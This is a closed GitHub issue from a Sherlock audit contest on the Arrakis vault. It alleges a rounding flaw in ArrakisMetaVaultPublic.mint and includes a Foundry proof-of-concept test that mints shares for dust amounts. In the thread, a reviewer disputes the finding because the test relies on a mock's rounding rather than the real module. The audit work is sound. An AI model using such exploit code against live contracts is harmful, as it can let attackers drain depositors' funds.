sherlock-audit / 2024-03-arrakis-judging

2 stars 2 forks source link

cu5t0mPe0 - The attacker can steal funds from the pool. #17

Closed sherlock-admin4 closed 3 months ago

sherlock-admin4 commented 3 months ago

cu5t0mPe0

high

The attacker can steal funds from the pool.

Summary

The attacker uses rounding up to obtain 1 share for the amount of 1 token.

Vulnerability Detail

The attacker uses ArrakisMetaVaultPublic.mint for deposits, acquiring only 1 share each time. Due to rounding up, the calculated proportion value also becomes 1. In ValantisHOTModulePublic.deposit, rounding up occurs as well. Therefore, when the numerator is less than the denominator, the calculation shows that a user only needs to deposit 1 token to obtain 1 share.

If a user deposits through ArrakisPublicVaultRouter, the calculation in ValantisHOTModulePublic.deposit for the deposit amount is correct. However, when users use ArrakisMetaVaultPublic.mint, the tokens are not converted into equivalent decimals. For tokens with lower decimals, the calculation remains 0, but due to rounding up, it is calculated as 1.

As the fees collected increase, shares become more valuable. However, attackers can exploit this method to acquire shares at a lower cost.

Ultimately, large amounts of shares are obtained through dust amounts.

coding poc:

This proof of concept (PoC) is derived from testMint. Due to the use of floor rounding in LpModuleMock's calculations, both amount0 and amount1 compute to 0. However, if rounded up, they would compute to 1.

    function testHackMint() public {
        address user = vm.addr(uint256(keccak256(abi.encode("User"))));
        address receiver =
            vm.addr(uint256(keccak256(abi.encode("Receiver"))));
        // #region initialize.

        vault.initialize(address(module));

        address actualModule = address(vault.module());

        address[] memory whitelistedModules =
            vault.whitelistedModules();

        assert(whitelistedModules.length == 1);
        assertEq(whitelistedModules[0], address(module));
        assertEq(actualModule, address(module));

        // #endregion initialize.

        // #region mock inits.

        uint256 i0 = 2000e6;
        uint256 i1 = 1e18;

        module.setInits(i0, i1);

        // #endregion mock inits.

        // #region set token0 and token1

        module.setToken0AndToken1(USDC, WETH);

        // #endregion set token0 and token1

        uint256 shares = 1 ether / 2;

        // #region get total underlying.

        (uint256 total0, uint256 total1) = vault.getInits();

        // #endregion get total underlying.

        uint256 expectedAmount0 =
            FullMath.mulDiv(total0, shares, 1 ether);
        uint256 expectedAmount1 =
            FullMath.mulDiv(total1, shares, 1 ether);

        deal(USDC, user, expectedAmount0 * 1000);
        deal(WETH, user, expectedAmount1 * 1000);

        vm.startPrank(user);

        IERC20(USDC).approve(address(module), expectedAmount0);
        IERC20(WETH).approve(address(module), expectedAmount1);

        vault.mint(shares, receiver);

        console.log("step1 amount0: %d, amount1: %d", IERC20(USDC).balanceOf(address(module)), IERC20(WETH).balanceOf(address(module)));

        vm.stopPrank();

        module.setInits(expectedAmount0, expectedAmount1);

        vm.startPrank(user);
        vault.mint(1, receiver);
        vm.stopPrank();
        console.log("step2 amount0: %d, amount1: %d", IERC20(USDC).balanceOf(address(module)), IERC20(WETH).balanceOf(address(module)));
        console.log("supply: %d", vault.totalSupply());
    }

Impact

An attacker can steal all balances in the pool

Code Snippet

https://github.com/sherlock-audit/2024-03-arrakis/blob/64a7dc6ccb5de2824870474a9f35fd3386669e89/arrakis-modular/src/modules/ValantisHOTModulePublic.sol#L71-L74

Tool used

Manual Review

Recommendation

Although ArrakisMetaVaultPublic.mint can be called by anyone, which is intentionally designed by the project team, it is recommended that only the router should be able to call it.

sherlock-admin3 commented 2 months ago

Escalate The user can exploit this method to dilute other users' shares, causing them to lose funds.

You've deleted an escalation for this issue.

0xjuaan commented 2 months ago

Hi, I believe this is invalid because it uses calculations from the mock, which are different to the calculations in the actual contracts.

The actual ValantisHOTModule rounds up when calculating amount0 and amount1

cu5t0mPeo commented 2 months ago

@0xjuaan Hi, when the value of 1 share increases over time due to fees collected in the pool, if 1 share is worth 2 tokens but a user deposits only 1 token to receive a share (with rounding up in calculations).

0xjuaan commented 2 months ago

if 1 share is worth 2 tokens, then in order to mint a share, they would have to pay 2 tokens (not 1)

show a PoC using the actual ValantisHOTModule calculations if you disagree please